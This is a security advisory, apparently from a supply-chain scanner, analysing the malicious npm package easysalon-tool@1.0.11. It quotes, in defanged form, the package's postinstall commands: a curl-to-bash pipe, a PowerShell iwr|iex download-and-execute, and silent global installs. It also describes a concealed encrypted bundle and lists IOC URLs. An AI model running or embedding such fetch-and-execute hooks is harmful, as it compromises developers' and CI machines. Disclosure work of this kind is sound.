easysalon-tool@1.0.11
Malicious code in easysalon-tool (npm)
Analysis
easysalon-tool@1.0.11 executes remote code during npm install. Its postinstall hook (bin/postinstall.js) runs `curl -fsSL hxxps://antigravity[.]google/install[.]sh | bash` on Linux/macOS and `powershell -ExecutionPolicy Bypass -Command "iwr -useb hxxps://antigravity[.]google/install[.]ps1 | iex"` on Windows. The confirmation prompt that normally precedes it returns "yes" by default whenever stdin/stdout is not a TTY or the CI environment variable is set, so on CI/build machines the fetched script is piped straight into a shell with no interaction, no pinned version and no integrity or signature check. The same hook, and bin/cli.js on every launch, also silently run `npm install -g 9router` and `npm install -g @opencode/cli` (plus `winget install` / `brew install python3`), modifying the host's global packages from an install hook. The package also ships templates/agents.bundle.enc (300,558 bytes), AES-256-GCM ciphertext with an "ESENC1\0" header, and the matching decryption key hardcoded in server/services/template_crypto.py (hash of a fixed passphrase). The bundle is unpacked at runtime into the developer's workspace as .agents/skills/ and GEMINI.md, so roughly 300KB of content is concealed from package review while remaining fully readable by the package itself. Additional surface: a local web dashboard bound to 0[.]0[.]0[.]0:8765 that spawns AI-agent shell sessions, a Telegram bot control channel keyed off TELEGRAM_BOT_TOKEN, and hardcoded default 9router API credentials. No credential-file harvesting (no .npmrc, NPM_TOKEN, GITHUB_TOKEN, ~/.ssh, ~/.aws or wallet paths) or persistence registration was found in the code reviewed. IOCs: hxxps://antigravity[.]google/install[.]sh, hxxps://antigravity[.]google/install[.]ps1, hxxps://registry[.]npmjs[.]org/easysalon-tool, hxxps://api[.]ipify[.]org, hxxps://ifconfig[.]me/ip, hxxps://icanhazip[.]com, hxxp://127[.]0[.]0[.]1:20128/v1 (local 9router proxy).
- analyzed by
- Leitwacht
- first seen
- Nov 11, 2026, 08:16 AM
- analyzed
- Nov 11, 2026, 08:17 AM
Related advisories
- @swirls/cli@0.1.149
- @swirls/cli@0.1.144
- gemini-computer-use@0.4.3
- dotenv-runtime@1.0.0
- envforge3@1.0.1
- envparse2@1.0.1
- envparse3@1.0.1
- noblox-asset.js@7.4.1
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.